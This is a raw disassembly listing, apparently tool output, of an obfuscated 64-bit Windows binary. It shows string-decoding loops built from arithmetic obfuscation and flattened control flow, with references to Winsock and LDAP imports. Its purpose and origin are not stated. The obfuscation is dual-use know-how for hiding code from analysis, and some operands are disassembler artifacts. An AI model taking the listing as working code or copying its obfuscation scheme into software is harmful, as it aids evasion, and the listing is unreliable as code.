add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0x21b3319fd20d8c9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0x845ba8f2728e2e85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
movabs rcx, 0xa9c6ffb82d87db75
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x33
add cl, r11b
mov byte [rbp + rbx + 0xd48], cl
inc r8
dec rbx
inc rbx
jmp 0x14009b052
movabs rcx, 0x8e5a02706aeea7f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
inc r8
dec rbx
inc rbx
jmp 0x14009b052
movabs rcx, 0x3fae3e19bb2ef8e7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
movabs rdx, 0x511ce1e38567b2fb
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x23
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xd48], cl
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0x98585bee634f2161
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x59
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
movabs rcx, 0xf10279c30b6f49db
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 3
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009b052
mov r11, rdx
movabs rcx, 0x49ac9797b38f7255
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x53
add r10b, cl
movabs rcx, 0xf872c40edd478a81
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x79
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xd48], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x4c1db52489377644
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xd48], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
movabs rcx, 0xfb00d34103cfc349
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
inc r10b
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009b052
movabs rcx, 0x77cf404253a57c4f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
jmp 0x14009b050
movabs rcx, 0xd0795e16fbc5a4c9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
jmp 0x14009b040
lea rcx, [rbp + 0x172744c]
jmp 0x14009bf46
lea rcx, [rbp + 0xa2600f]
jmp 0x14009bf46
lea rcx, [rbp + 0xd48]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225e90]
lea rcx, [rbp + 0x2a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xc8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0x9b0], 0x98
mov byte [rbp + 0x9b1], 0xe1
mov byte [rbp + 0x9b2], 0xed
mov byte [rbp + 0x9b3], 0xb3
mov byte [rbp + 0x9b4], 0x9f
mov byte [rbp + 0x9b5], 0xec
mov byte [rbp + 0x9b6], 0xe3
mov byte [rbp + 0x9b7], 0xe9
mov byte [rbp + 0x9b8], 0xe2
mov byte [rbp + 0x9b9], 0xf6
mov byte [rbp + 0x9ba], 0xea
mov byte [rbp + 0x9bb], 0x5b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9bc], xmm0
mov dword [rbp + 0x9cc], eax
mov word [rbp + 0x9d0], ax
mov byte [rbp + 0x9d2], al
movabs r14, 0xd7f4bd09849017af
movabs r15, 0x956c50f5db277831
movabs r13, 0x80db1a62a9f52ccb
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xa489b49989925b3
cmp rdi, 0x23
jae 0x14009cd75
movzx ebx, byte [rbp + rdi + 0x9b0]
mov r10, rbx
cmp r8, rdi
ja 0x14009cd69
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009c093
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x1b
jmp 0x14009c0d0
je 0x14009cce2
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009cc46
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009cbe7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cbbe
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009cb6d
nop dword [rax]
cmp r9, rdi
ja 0x14009cd5d
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14009c104
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x37
add r11b, dl
jmp 0x14009c140
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009cb49
inc rax
cmp r8, rax
je 0x14009cb1d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009caea
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009cac6
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009c7b5
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009c791
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009c765
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009c737
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009c712
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009c6ea
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009c6b7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009c693
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009c66b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009c632
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009c150
lea r8, [r9 + 0xa]
lea r9, [r8 + 5]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009cd3a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14009cd17
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009c346
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009c32c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009c30e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009c5d1
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009c574
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009c524
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009c4f6
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009c150
lea r8, [r9 + 0x2a]
lea r9, [r8 + 5]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009c4bd
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009c495
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009c470
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009c43d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009c41a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009c3f5
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009c3c7
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009c39b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009c377
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009c150
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
jmp 0x14009c150
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x57
add r11b, dl
jmp 0x14009c140
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x73
jmp 0x14009c0d0
movabs rdx, 0x6c49e3cf78c2e165
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x3d
add r11b, dl
movabs rcx, 0xa489b49989925b3
jmp 0x14009c05e
movabs rdx, 0xbfa5e84c2480bd78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14009cb8b
movabs rcx, 0xab14b1b8f34e7212
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
inc r9
dec rdi
inc rdi
jmp 0x14009c042
movabs rdx, 0x96837b25c21c26ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009c042
movabs rdx, 0x81f2449290e9db46
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009cc06
movabs rcx, 0x6d610dff5fb78fe0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x14009cc2e
movabs rcx, 0x58cfd76c2e85447a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c042
movabs rdx, 0x443ea0d8fd52f914
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009cc69
movabs rdx, 0x2fad6a45cc20adae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009cc9a
movabs rdx, 0x1b1c33b29aee6248
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
movabs rcx, 0xe7b12b429ff0a5c9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7f
mov byte [rbp + rdi + 0x9b0], r11b
inc rdi
jmp 0x14009c042
movabs rdx, 0xd31ff4af6ebe5a63
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
cmp r9, 9
jb 0x14009c514
movabs rdx, 0x18eddf52cd050552
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x7c]
jmp 0x14009cb8e
movabs rdx, 0xbe8ebe1c3d8c0efd
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
cmp r8, 9
jae 0x14009ca6d
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14009c95b
movabs rdx, 0x4b41bd92e10e1356
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5a
jmp 0x14009c543
movabs rdx, 0xa9fd87890c59c397
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x21
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 9
je 0x14009ca99
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14009c8c4
movabs rdx, 0x734d00895c7dfba7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6f
jmp 0x14009c593
movabs rdx, 0xfbc6e391b608e1a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
movabs rdx, 0xfb2b37a5ea2e42b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009cc9a
movabs rdx, 0xe69a0112b8fbf74e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
jmp 0x14009cc69
movabs rcx, 0xd208ca7f87c9abe8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c042
movabs rdx, 0xbd7793ec56976082
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009cc2e
movabs rdx, 0xa8e65d592565151c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009cc06
movabs rdx, 0x945526c5f432c9b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009c042
movabs rcx, 0x7fc3f032c3007e50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc r9
dec rdi
inc rdi
jmp 0x14009c042
movabs rdx, 0x6b32b99f91ce32ea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
jmp 0x14009cb8b
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14009c7e6
movabs rdx, 0xa489b49989925b3
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x1b
jmp 0x14009c5f0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c82c
movabs rdx, 0xafe97a1309202f5e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c85d
movabs rdx, 0xd90be7396b84c62a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x26
jmp 0x14009cc69
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009c892
movabs rdx, 0x22e545fcde95cf6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009cc2e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c5f3
movabs rdx, 0x16bf8af2ff1ba85c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009cc06
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c8f5
movabs rdx, 0x87de371c8db0470d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5b
jmp 0x14009cb8b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c92b
movabs rcx, 0xb100a442f014ddd9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x11
dec rdi
inc rdi
jmp 0x14009c042
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009c596
movabs rcx, 0xda231169527974a5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
jmp 0x14009cc2e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c99c
movabs rcx, 0x5fd2f42612405ebc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c9ce
movabs rdx, 0x88f5614c74a4f588
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009cc69
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009c9fe
movabs rcx, 0xb217ce72d7098c54
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
jmp 0x14009cc2e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ca3c
movabs rdx, 0xefcb722c6aa06e86
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009c042
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009c546
movabs rdx, 0x45ca8bf9bd2b9ec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
jmp 0x14009cb8b
movabs rdx, 0x2d7f15e5fe3750b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x9b0]
sub r11b, al
sub r11b, 8
add r11b, bl
jmp 0x14009cc06
movabs rdx, 0x42104c792f699c1e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x9b0]
add r11b, bl
jmp 0x14009cc69
movabs rdx, 0x67ed3b0fdcf02779
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4f
jmp 0x14009cc69
movabs rcx, 0x535c047cabbddc13
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c042
movabs rcx, 0x1172a2fe6f4ae7b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5d
inc r9
dec rdi
inc rdi
jmp 0x14009c042
movabs rdx, 0xec85f39cb5c26315
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6d
jmp 0x14009cb8b
movabs rdx, 0xc3638676535dcc49
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
inc r11b
add r11b, dl
movabs rcx, 0x23367a9c659e2b05
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x23
add cl, bl
mov byte [rbp + rdi + 0x9b0], cl
inc r9
dec rdi
inc rdi
jmp 0x14009c042
movabs rcx, 0x9a41194ff0f9357d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
dec rdi
inc rdi
jmp 0x14009c042
movabs rdx, 0x85afe2bcbfc6ea17
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x5f
add r11b, dl
movabs rcx, 0x37c7b12f96d0766b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x13
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x9b0], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009c042
mov rbx, r10
movabs rdx, 0x47fc3f032c3007e5
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x43
add r11b, dl
movabs rcx, 0x4c58e7c2c802c1d1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x49
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x9b0], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x56a1830c609be784
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x9b0], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
movabs rcx, 0x1ed9d1dcc9cb7119
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x51
movzx eax, byte [rbp + rdi + 0x9b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009c042
movabs rcx, 0x57b8ad3c479095ff
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 7
jmp 0x14009c03e
movabs rcx, 0x432776a9165e4a99
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2f
jmp 0x14009c02d
lea rcx, [rbp + 0x1655df4]
jmp 0x14009cd7c
lea rcx, [rbp + 0x13e83a7]
jmp 0x14009cd7c
lea rcx, [rbp + 0x9b0]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x140225f10]
lea rcx, [rbp + 0x2c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xb8]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rsi, rax
mov byte [rbp + 0x9d8], 0x56
mov byte [rbp + 0x9d9], gethostname
mov byte [rbp + 0x9da], 9
mov byte [rbp + 0x9db], 7
mov byte [rbp + 0x9dc], 0x64
mov byte [rbp + 0x9dd], gethostname
mov byte [rbp + 0x9de], Ordinal_45
mov byte [rbp + 0x9df], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x9e0], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9e1], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x9e2], Ordinal_45
mov byte [rbp + 0x9e3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x9e4], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x9e5], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9e6], xmm0
mov dword [rbp + 0x9f6], eax
mov byte [rbp + 0x9fa], al
movabs r14, 0xdc69f0d00a122adc
movabs r15, 0x39065e8597fe58a4
movabs r13, 0x858e90baec5e23cc
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xd9bbe6e555d01a6c
cmp rdi, 0x23
jae 0x14009dc22
movzx ebx, byte [rbp + rdi + 0x9d8]
mov r10, rbx
cmp r8, rdi
ja 0x14009dc16
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009ced3
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0xc
jmp 0x14009cef3
je 0x14009db80
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009db1e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009daf2
cmp r9, rdi
ja 0x14009dc0a
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14009cf27
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x14009cf60
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009da9f
inc rax
cmp r8, rax
je 0x14009da6e
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009d9d2
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009d99e
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009d5c2
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009d5ae
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009d57d
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14009d54f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009d52a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009d507
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009d4d4
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009d4b0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009d489
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009d455
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009cf70
lea r8, [r9 + 3]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009dbe2
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009dbba
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009d168
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009d149
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009d12b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009d3f2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009d392
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009d346
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009d318
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009cf70
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14009d2df
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009d2b7
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009d292
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009d25a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009d237
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009d213
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009d1ea
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009d1be
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009d19a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009cf70
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x80]
jmp 0x14009cf70
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14009cf60
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009cef3
movabs rdx, 0xd216c2f040bdeef4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0xd9bbe6e555d01a6c
jmp 0x14009ce9e
movabs rdx, 0xe34f8680509156e0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x14009dabf
movabs rcx, 0x2fd7b8b5a4f12208
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x14009ce82
movabs rcx, 0x7c5feaeaf950ed30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x14009ce82
movabs rdx, 0xc8e81d204db0b858
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
jmp 0x14009db3d
movabs rcx, 0x15704f55a2108380
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
